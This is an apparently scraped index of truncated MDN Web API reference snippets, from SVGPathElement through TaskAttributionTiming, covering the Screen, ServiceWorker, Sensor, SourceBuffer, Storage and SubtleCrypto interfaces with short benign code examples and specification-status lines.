specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement.gettotallength()' in that specification.
... recommendation initial definition ...
SVGPathElement.pathLength - Web APIs
syntax var pathlength = someelement.pathlength; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement.pathlength' in that specification.
... recommendation initial definition ...
SVGPathSegList - Web APIs
interface overview also implement none methods void clear() svgpathseg initialize(in svgpathseg newitem) svgpathseg getitem(in unsigned long index) svgpathseg insertitembefore(in svgpathseg newitem, in unsigned long index) svgpathseg replaceitem(in svgpathseg newitem, in unsigned long index) svgpathseg removeitem(in unsigned long index) svgpathseg appenditem(in svgpathseg newitem) properties readonly unsigned long numb...
... initialize(in svgpathseg newitem) svgpathseg clears all existing current items from the list and re-initializes the list to hold the single item specified by newitem.
SVGPointList - Web APIs
interface overview also implement none methods void clear() svgpoint initialize(in svgpoint newitem) svgpoint getitem(in unsigned long index) svgpoint insertitembefore(in svgpoint newitem, in unsigned long index) svgpoint replaceitem(in svgpoint newitem, in unsigned long index) svgpoint removeitem(in unsigned long index) svgpoint appenditem(in svgpoint newitem) properties ...
... initialize(in svgpoint newitem) svgpoint clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter.
SVGRenderingIntent - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgrenderingintent' in that specification.
... recommendation initial definition ...
SVGStringList - Web APIs
interface overview also implement none methods void clear() domstring initialize(in domstring newitem) domstring getitem(in unsigned long index) domstring insertitembefore(in domstring newitem, in unsigned long index) domstring replaceitem(in domstring newitem, in unsigned long index) domstring removeitem(in unsigned long index) domstring appenditem(in domstring newitem) properties readonly unsigned long numberofitems readonly unsigned long length ...
... initialize(in domstring newitem) domstring clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter.
SVGTRefElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtrefelement' in that specification.
... recommendation initial definition ...
SVGVKernElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgvkernelement' in that specification.
... recommendation initial definition ...
Screen.availHeight - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'screen.availheight' in that specification.
... working draft initial definition.
Screen.availWidth - Web APIs
WebAPIScreenavailWidth
syntax var width = window.screen.availwidth example var screenavailwidth = window.screen.availwidth; console.log(screenavailwidth); specifications specification status comment css object model (cssom) view modulethe definition of 'screen.availwidth' in that specification.
... working draft initial definition ...
Screen.lockOrientation() - Web APIs
age with an array argument screen.lockorientationuniversal = screen.lockorientation || screen.mozlockorientation || screen.mslockorientation; if (screen.lockorientationuniversal(["landscape-primary", "landscape-secondary"])) { // orientation was locked } else { // orientation lock failed } specifications specification status comment screen orientation apithe definition of 'lockorientation()' in that specification.
... working draft initial definition (not present in the draft anymore) ...
Screen.onorientationchange - Web APIs
specifications specification status comment screen orientation apithe definition of 'onorientationchange' in that specification.
... working draft initial definition (not present in the draft anymore) ...
Screen.orientation - Web APIs
you should rotate your device to landscape"); } else if (orientation === undefined) { console.log("the orientation api isn't supported in this browser :("); } specifications specification status comment screen orientation apithe definition of 'orientation' in that specification.
... working draft initial definition ...
Screen.pixelDepth - Web APIs
WebAPIScreenpixelDepth
syntax let depth = window.screen.pixeldepth example // if there is not adequate bit depth // choose a simpler color if ( window.screen.pixeldepth > 8 ) { document.style.color = "#faebd7"; } else { document.style.color = "#ffffff"; } specifications specification status comment css object model (cssom) view modulethe definition of 'screen.pixeldepth' in that specification.
... working draft initial definition.
Screen.unlockOrientation() - Web APIs
example var unlockorientation = screen.unlockorientation || screen.mozunlockorientation || screen.msunlockorientation || (screen.orientation && screen.orientation.unlock); if (unlockorientation()) { // orientation was unlocked } else { // orientation unlock failed } specifications specification status comment screen orientation apithe definition of 'lockorientation()' in that specification.
... working draft initial definition (not present in the draft anymore) ...
Screen.width - Web APIs
WebAPIScreenwidth
specification specification status comment css object model (cssom) view modulethe definition of 'screen.width' in that specification.
... working draft initial definition.
Screen - Web APIs
WebAPIScreen
void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen' in that specification.
... working draft initial definition.
ScreenOrientation.angle - Web APIs
specifications specification status comment screen orientation apithe definition of 'angle' in that specification.
... working draft initial definition.
ScreenOrientation.lock() - Web APIs
specifications specification status comment screen orientation apithe definition of 'lock()' in that specification.
... working draft initial definition.
ScreenOrientation.onchange - Web APIs
} specifications specification status comment screen orientation apithe definition of 'onchange' in that specification.
... working draft initial definition.
ScreenOrientation.type - Web APIs
specifications specification status comment screen orientation apithe definition of 'type' in that specification.
... working draft initial definition.
ScreenOrientation.unlock() - Web APIs
specifications specification status comment screen orientation apithe definition of 'unlock()' in that specification.
... working draft initial definition.
ScreenOrientation - Web APIs
specifications specification status comment screen orientation apithe definition of 'screenorientation' in that specification.
... working draft initial definition.
SecurityPolicyViolationEvent.blockedURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); }); specifications specification status comment content security policy level 3the definition of 'blockeduri' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.columnNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.columnnumber); }); specifications specification status comment content security policy level 3the definition of 'columnnumber' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.disposition - Web APIs
possible values are "enforce" or "report" example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.disposition); }); specifications specification status comment content security policy level 3the definition of 'disposition' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.documentURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.documenturi); }); specifications specification status comment content security policy level 3the definition of 'documenturi' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.effectivedirective); }); specifications specification status comment content security policy level 3the definition of 'effectivedirective' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.lineNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.linenumber); }); specifications specification status comment content security policy level 3the definition of 'linenumber' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.originalPolicy - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.originalpolicy); }); specifications specification status comment content security policy level 3the definition of 'originalpolicy' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.referrer - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.referrer); }); specifications specification status comment content security policy level 3the definition of 'referrer' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.sample - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sample); }); specifications specification status comment content security policy level 3the definition of 'sample' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.sourceFile - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sourcefile); }); specifications specification status comment content security policy level 3the definition of 'sourcefile' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.statusCode - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.statuscode); }); specifications specification status comment content security policy level 3the definition of 'statuscode' in that specification.
... working draft initial definition ...
SecurityPolicyViolationEvent.violatedDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.violateddirective); }); specifications specification status comment content security policy level 3the definition of 'violateddirective' in that specification.
... working draft initial definition ...
Selection.selectAllChildren() - Web APIs
/p> </main> <footer> <address>webmaster@example.com</address> <p>© 2019</p> </footer> javascript const button = document.queryselector('button'); const footer = document.queryselector('footer'); button.addeventlistener('click', (e) => { window.getselection().selectallchildren(footer); }); result specifications specification status comment selection apithe definition of 'selection.selectallchildren()' in that specification.
... working draft current definition ...
Sensor.activated - Web APIs
WebAPISensoractivated
specifications specification status comment generic sensor apithe definition of 'activated' in that specification.
... candidate recommendation initial definition.
Sensor.hasReading - Web APIs
WebAPISensorhasReading
specifications specification status comment generic sensor apithe definition of 'hasreading' in that specification.
... candidate recommendation initial definition.
Sensor.onactivate - Web APIs
WebAPISensoronactivate
specifications specification status comment generic sensor apithe definition of 'onactivate' in that specification.
... candidate recommendation initial definition.
Sensor.onerror - Web APIs
WebAPISensoronerror
specifications specification status comment generic sensor apithe definition of 'onerror' in that specification.
... candidate recommendation initial definition.
Sensor.onreading - Web APIs
WebAPISensoronreading
specifications specification status comment generic sensor apithe definition of 'onreading' in that specification.
... candidate recommendation initial definition.
Sensor.start() - Web APIs
WebAPISensorstart
return value undefined specifications specification status comment generic sensor apithe definition of 'start' in that specification.
... candidate recommendation initial definition.
Sensor.stop() - Web APIs
WebAPISensorstop
return value undefined example // tbd specifications specification status comment generic sensor apithe definition of 'stop' in that specification.
... candidate recommendation initial definition.
Sensor.timestamp - Web APIs
WebAPISensortimestamp
specifications specification status comment generic sensor apithe definition of 'timestamp' in that specification.
... candidate recommendation initial definition.
Sensor - Web APIs
WebAPISensor
specifications specification status comment generic sensor apithe definition of 'sensor' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent.SensorErrorEvent() - Web APIs
specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent.error - Web APIs
specifications specification status comment generic sensor apithe definition of 'error' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent - Web APIs
specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification.
... candidate recommendation initial definition.
Sensor APIs - Web APIs
specifications specification status comment generic sensor api candidate recommendation initial definition.
... ambient light sensor candidate recommendation gyroscope candidate recommendation initial definition.
ServiceWorker.onstatechange - Web APIs
} }) specifications specification status comment service workersthe definition of 'serviceworker.onstatechange' in that specification.
... working draft initial definition ...
ServiceWorker.scriptURL - Web APIs
syntax someurl = serviceworker.scripturl value a usvstring (see the webidl definition of usvstring.) examples tbd specifications specification status comment service workersthe definition of 'scripturl' in that specification.
... working draft initial definition ...
ServiceWorker - Web APIs
} specifications specification status comment service workersthe definition of 'serviceworker' in that specification.
... working draft initial definition.
ServiceWorkerContainer.controller - Web APIs
if (navigator.serviceworker.controller) { console.log(`this page is currently controlled by: ${navigator.serviceworker.controller}`); } else { console.log('this page is not currently controlled by a service worker.'); } } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration.controller' in that specification.
... working draft initial definition ...
ServiceWorkerContainer.getRegistration() - Web APIs
example navigator.serviceworker.getregistration('/app').then(function(registration) { if(registration){ document.queryselector('#status').textcontent = 'serviceworkerregistration found.'; } }); specifications specification status comment service workersthe definition of 'serviceworkercontainer: getregistration' in that specification.
... working draft initial definition.
ServiceWorkerContainer.getRegistrations() - Web APIs
example navigator.serviceworker.getregistrations().then(function(registrations) { document.queryselector('#status').textcontent = 'serviceworkerregistrations found.'; }); specifications specification status comment service workersthe definition of 'getregistrations()' in that specification.
... working draft initial definition.
ServiceWorkerContainer.oncontrollerchange - Web APIs
} example // tbd specifications specification status comment service workersthe definition of 'serviceworkercontainer: oncontrollerchange' in that specification.
... working draft initial definition.
ServiceWorkerContainer.onmessage - Web APIs
} example navigator.serviceworker.onmessage = function(messageevent) { console.log(`received data: ${messageevent.data}`); } specifications specification status comment service workersthe definition of 'serviceworkercontainer: onmessage' in that specification.
... working draft initial definition.
ServiceWorkerContainer.register() - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkercontainer: register' in that specification.
... working draft initial definition.
ServiceWorkerContainer.startMessages() - Web APIs
}); navigator.serviceworker.startmessages(); specifications specification status comment service workersthe definition of 'serviceworkercontainer: startmessages()' in that specification.
... working draft initial definition.
ServiceWorkerGlobalScope.caches - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.caches' in that specification.
... working draft initial definition.
ServiceWorkerGlobalScope.clients - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerregistration.clients' in that specification.
... working draft initial definition.
ServiceWorkerGlobalScope: contentdelete event - Web APIs
}; specifications specification status comment unknownthe definition of 'contentdelete' in that specification.
... unknown initial definition.
ServiceWorkerGlobalScope.onactivate - Web APIs
then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
... working draft initial definition ...
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); specifications specification status comment unknownthe definition of 'contentdelete' in that specification.
... unknown initial definition.
ServiceWorkerGlobalScope.onfetch - Web APIs
t to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
... working draft initial definition ...
ServiceWorkerGlobalScope.oninstall - Web APIs
w-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
... working draft initial definition.
ServiceWorkerGlobalScope.onmessage - Web APIs
}; example self.addeventlistener('message', function(messageevent) { console.log('handling message event:', messageevent); }) specifications specification status comment service workersthe definition of 'event handlers' in that specification.
... working draft initial definition ...
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
all({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status comment notifications apithe definition of 'onnotificationclick' in that specification.
... living standard initial definition.
onnotificationclose - Web APIs
self.onnotificationclose = function(event) { console.log('on notification close: ', event.notification.tag); }; specifications specification status comment notifications apithe definition of 'onnotificationclick' in that specification.
... living standard initial definition.
ServiceWorkerGlobalScope.onpush - Web APIs
var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'onpush' in that specification.
... working draft initial definition.
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
}) example self.addeventlistener('pushsubscriptionchange', function() { // do something, usually resubscribe to push and // send the new subscription details back to the // server via xhr or fetch }); specifications specification status comment push apithe definition of 'onpushsubscriptionchange' in that specification.
... working draft initial definition (note: this event is specified in the push api, but accessed through serviceworkerglobalscope.) ...
ServiceWorkerGlobalScope: push event - Web APIs
self.addeventlistener("push", event => { let message = event.data.json(); switch(message.type) { case "init": doinit(); break; case "shutdown": doshutdown(); break; } }, false); specifications specification status comment push apithe definition of 'push' in that specification.
... working draft initial specification.
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
*/ ) }; specifications specification status comment push apithe definition of 'pushsubscriptionchange' in that specification.
... working draft initial specification.
ServiceWorkerGlobalScope.registration - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.registration' in that specification.
... working draft initial definition.
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
self.skipwaiting(); // perform any other actions required for your // service worker to install, potentially inside // of event.waituntil(); }); specifications specification status comment service workersthe definition of 'skipwaiting()' in that specification.
... working draft initial definition.
ServiceWorkerRegistration.getNotifications() - Web APIs
example navigator.serviceworker.register('sw.js'); var options = { tag : 'user_alerts' }; navigator.serviceworker.ready.then(function(registration) { registration.getnotifications(options).then(function(notifications) { // do something with your notifications }) }); specifications specification status comment notifications apithe definition of 'serviceworkerregistration.getnotifications()' in that specification.
... living standard initial definition ...
ServiceWorkerRegistration.index - Web APIs
rence registration const registration = await navigator.serviceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } from the service worker: // service worker script const contentindex = self.registration.index; specifications specification status comment unknownthe definition of 'index' in that specification.
... unknown initial definition.
ServiceWorkerRegistration.navigationPreload - Web APIs
specifications specification status comment service workersthe definition of 'navigationpreload' in that specification.
... working draft initial definition.
ServiceWorkerRegistration.onupdatefound - Web APIs
}; specifications specification status comment service workersthe definition of 'serviceworkerregistration.onupdatefound' in that specification.
... working draft initial definition.
ServiceWorkerRegistration.pushManager - Web APIs
console.log(error); } ); }); specifications specification status comment push apithe definition of 'pushmanager' in that specification.
... working draft initial definition.
ServiceWorkerRegistration.scope - Web APIs
syntax var swscope = serviceworkerregistration.scope; specifications specification status comment service workersthe definition of 'serviceworkerregistration.scope' in that specification.
... working draft initial definition.
ServiceWorkerRegistration.showNotification() - Web APIs
specifications specification status comment notifications apithe definition of 'shownotification()' in that specification.
... living standard initial definition.
ServiceWorkerRegistration.unregister() - Web APIs
{ // registration worked console.log('registration succeeded.'); registration.unregister().then(function(boolean) { // if boolean = true, unregister is successful }); }).catch(function(error) { // registration failed console.log('registration failed with ' + error); }); }; specifications specification status comment service workersthe definition of 'serviceworkerregistration.unregister()' in that specification.
... working draft initial definition.
ServiceWorkerRegistration.update() - Web APIs
scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); button.onclick = function() { registration.update(); } }).catch(function(error) { // registration failed console.log('registration failed with ' + error); }); }; specifications specification status comment service workersthe definition of 'serviceworkerregistration.update()' in that specification.
... working draft initial definition.
ServiceWorkerState - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerstate' in that specification.
... working draft initial definition.
ShadowRoot - Web APIs
inside the <custom-square> element's class definition we include some life cycle callbacks that make a call to an external function, updatestyle(), which actually applies the size and color to the element.
...des.length; i++) { if(childnodes[i].nodename === 'style') { childnodes[i].textcontent = 'div {' + 'width: ' + elem.getattribute('l') + 'px;' + 'height: ' + elem.getattribute('l') + 'px;' + 'background-color: ' + elem.getattribute('c') + ';' + '}'; } } } specifications specification status comment domthe definition of 'interface shadowroot' in that specification.
SharedWorkerGlobalScope.onconnect - Web APIs
as of version 65 it is now initialized to an empty string, as per spec (bug 1508824).
... specifications specification status comment html living standardthe definition of 'onconnect' in that specification.
Slottable: assignedSlot - Web APIs
let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.assignedslot); // logs '<slot name="my-text">' specifications specification status comment domthe definition of 'assignedslot' in that specification.
... living standard initial definition.
Slottable - Web APIs
WebAPISlottable
specifications specification status comment domthe definition of 'slottable' in that specification.
... living standard initial definition.
SourceBuffer.abort() - Web APIs
is defined — note that abort() is called if mediasource.readystate is set to open, which means that it is ready to receive new source buffers — at this point it is worth aborting the current segment and just getting the one for the new seek position (see checkbuffer() and getcurrentsegment().) specifications specification status comment media source extensionsthe definition of 'abort()' in that specification.
... recommendation initial definition.
SourceBuffer.appendBuffer() - Web APIs
specifications specification status comment media source extensionsthe definition of 'appendbuffer()' in that specification.
... recommendation initial definition.
SourceBuffer.appendBufferAsync() - Web APIs
return value a promise which is fulfilled when the buffer has been added successfully to the sourcebuffer, or null if the request could not be initiated.
... specification status comment media source extensions recommendation initial definition; does not include this method.
SourceBuffer.appendWindowStart - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'appendwindowstart' in that specification.
... recommendation initial definition.
SourceBuffer.audioTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'audiotracks' in that specification.
... recommendation initial definition.
SourceBuffer.buffered - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'buffered' in that specification.
... recommendation initial definition.
SourceBuffer.remove() - Web APIs
specifications specification status comment media source extensionsthe definition of 'remove()' in that specification.
... recommendation initial definition.
SourceBuffer.removeAsync() - Web APIs
async function emptysourcebuffer(msbuffer) { await msbuffer.removeasync(0, infinity).catch(function(e) { handleexception(e); } } specifications not currently part of the mse specification.
... specification status comment media source extensions recommendation initial definition.
SourceBuffer.textTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'texttracks' in that specification.
... recommendation initial definition.
SourceBuffer.updating - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'updating' in that specification.
... recommendation initial definition.
SourceBuffer.videoTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'videotracks' in that specification.
... recommendation initial definition.
SourceBufferList: indexed property getter - Web APIs
specifications specification status comment media source extensionsthe definition of 'sourcebuffer() getter' in that specification.
... recommendation initial definition.
SourceBufferList.length - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'length' in that specification.
... recommendation initial definition.
SourceBufferList - Web APIs
specifications specification status comment media source extensionsthe definition of 'sourcebufferlist' in that specification.
... recommendation initial definition.
SpeechRecognitionResult.length - Web APIs
the length read-only property of the speechrecognitionresult interface returns the length of the "array" — the number of speechrecognitionalternative objects contained in the result (also referred to as "n-best alternatives".) the number of alternatives contained in the result depends on what the speechrecognition.maxalternatives property was set to when the speech recognition was first initiated.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechSynthesis.getVoices() - Web APIs
', voices[i].name); document.getelementbyid("voiceselect").appendchild(option); } } populatevoicelist(); if (typeof speechsynthesis !== 'undefined' && speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } html <select id="voiceselect"></select> specifications specification status comment web speech apithe definition of 'getvoices()' in that specification.
... draft initial definition ...
StaticRange.toRange() - Web APIs
specifications specification status comment static rangethe definition of 'torange()' in that specification.
... editor's draft initial definition.
StereoPannerNode.StereoPannerNode() - Web APIs
specifications specification status comment web audio apithe definition of 'stereopannernode()' in that specification.
... working draft initial definition.
StereoPannerNode - Web APIs
trol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'stereopannernode' in that specification.
... working draft initial definition ...
StorageEstimate.quota - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'quota' in that specification.
... living standard initial definition ...
StorageEstimate.usage - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'usage' in that specification.
... living standard initial definition ...
StorageEstimate - Web APIs
specifications specification status comment storagethe definition of 'storageestimate' in that specification.
... living standard initial definition.
StorageManager.estimate() - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'estimate()' in that specification.
... living standard initial definition.
StorageManager.persist() - Web APIs
example if (navigator.storage && navigator.storage.persist) navigator.storage.persist().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification.
... living standard initial definition.
StorageManager.persisted() - Web APIs
example if (navigator.storage && navigator.storage.persist) navigator.storage.persisted().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persisted' in that specification.
... living standard initial definition.
StorageManager - Web APIs
specifications specification status comment storagethe definition of 'storagemanger' in that specification.
... living standard initial definition.
StorageQuota.queryInfo - Web APIs
specifications specification status comment quota management apithe definition of 'queryinfo()' in that specification.
... obsolete initial definition.
StorageQuota.requestPersistentQuota - Web APIs
specifications specification status comment quota management apithe definition of 'requestpersistentquota()' in that specification.
... obsolete initial definition.
StorageQuota.supportedTypes - Web APIs
specifications specification status comment quota management apithe definition of 'supportedtypes' in that specification.
... obsolete initial definition.
StorageQuota - Web APIs
specifications specification status comment quota management apithe definition of 'storagequota' in that specification.
... obsolete initial definition.
Streams API - Web APIs
extensions to other apis request when a new request object is constructed, you can pass it a readablestream in the body property of its requestinit dictionary.
... specifications specification status comment streams living standard initial definition.
StylePropertyMap.append() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'append()' in that specification.
... working draft initial definition.
StylePropertyMap.clear() - Web APIs
return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'clear()' in that specification.
... working draft initial definition.
StylePropertyMap.delete() - Web APIs
return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'delete()' in that specification.
... working draft initial definition.
StylePropertyMap.set() - Web APIs
return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'set()' in that specification.
... working draft initial definition.
StylePropertyMap - Web APIs
specifications specification status comment css typed om level 1the definition of 'stylepropertymap' in that specification.
... working draft initial definition.
StylePropertyMapReadOnly.entries() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'entries()' in that specification.
... working draft initial definition.
StylePropertyMapReadOnly.forEach() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'foreach()' in that specification.
... working draft initial definition.
StylePropertyMapReadOnly.getAll() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'getall()' in that specification.
... working draft initial definition.
StylePropertyMapReadOnly.has() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'has()' in that specification.
... working draft initial definition.
StylePropertyMapReadOnly.keys() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'keys()' in that specification.
... working draft initial definition.
StylePropertyMapReadOnly.size - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'size' in that specification.
... working draft initial definition.
StylePropertyMapReadOnly.values() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'values()' in that specification.
... working draft initial definition.
SubmitEvent.submitter - Web APIs
while this is often an <input> element whose type or a <button> whose type is submit, it could be some other element which has initiated a submission process.
... specifications specification status comment html living standardthe definition of 'submitevent.submitter' in that specification.
SubtleCrypto.decrypt() - Web APIs
function decryptmessage(key, ciphertext) { return window.crypto.subtle.decrypt( { name: "aes-gcm", iv: iv }, key, ciphertext ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.decrypt()' in that specification.
... recommendation initial definition.
SubtleCrypto.digest() - Web APIs
ay = array.from(new uint8array(hashbuffer)); // convert buffer to byte array const hashhex = hasharray.map(b => b.tostring(16).padstart(2, '0')).join(''); // convert bytes to hex string return hashhex; } const digesthex = await digestmessage(text); console.log(digesthex); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.digest()' in that specification.
... recommendation initial definition.
SubtleCrypto.encrypt() - Web APIs
c.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); // iv will be needed for decryption iv = window.crypto.getrandomvalues(new uint8array(12)); return window.crypto.subtle.encrypt( { name: "aes-gcm", iv: iv }, key, encoded ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.encrypt()' in that specification.
... recommendation initial definition.
SubtleCrypto.exportKey() - Web APIs
*/ window.crypto.subtle.generatekey( { name: "ecdsa", namedcurve: "p-384" }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".jwk"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.exportkey()' in that specification.
... recommendation initial definition.
SubtleCrypto.generateKey() - Web APIs
let key = window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256 }, true, ["encrypt", "decrypt"] ); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.generatekey()' in that specification.
... recommendation initial definition.
SubtleCrypto.importKey() - Web APIs
*/ function importprivatekey(jwk) { return window.crypto.subtle.importkey( "jwk", jwk, { name: "ecdsa", namedcurve: "p-384" }, true, ["sign"] ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.importkey()' in that specification.
... recommendation initial definition.
SubtleCrypto.sign() - Web APIs
WebAPISubtleCryptosign
ion getmessageencoding() { const messagebox = document.queryselector(".hmac #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( "hmac", key, encoded ); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.sign()' in that specification.
... recommendation initial definition.
SubtleCrypto.verify() - Web APIs
"valid" : "invalid"); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.verify()' in that specification.
... recommendation initial definition.
SyncEvent.SyncEvent() - Web APIs
syntax var mysyncevent = new syncevent(type, init) parameters type the type of the event.
... init optional an options object containing any custom settings that you want to apply to the event object.
SyncEvent.tag - Web APIs
WebAPISyncEventtag
specifications specification status comment web background synchronizationthe definition of 'tag' in that specification.
... living standard initial definition.
SyncManager - Web APIs
specifications specification status comment web background synchronizationthe definition of 'syncmanager' in that specification.
... living standard initial definition.
TaskAttributionTiming.containerId - Web APIs
specifications specification status comment long tasks api 1the definition of 'containerid' in that specification.
... working draft initial definition.
TaskAttributionTiming.containerName - Web APIs
specifications specification status comment long tasks api 1the definition of 'containername' in that specification.
... working draft initial definition.
TaskAttributionTiming.containerSrc - Web APIs
specifications specification status comment long tasks api 1the definition of 'containersrc' in that specification.
... working draft initial definition.
TaskAttributionTiming.containerType - Web APIs
specifications specification status comment long tasks api 1the definition of 'containertype' in that specification.
... working draft initial definition.
TaskAttributionTiming - Web APIs
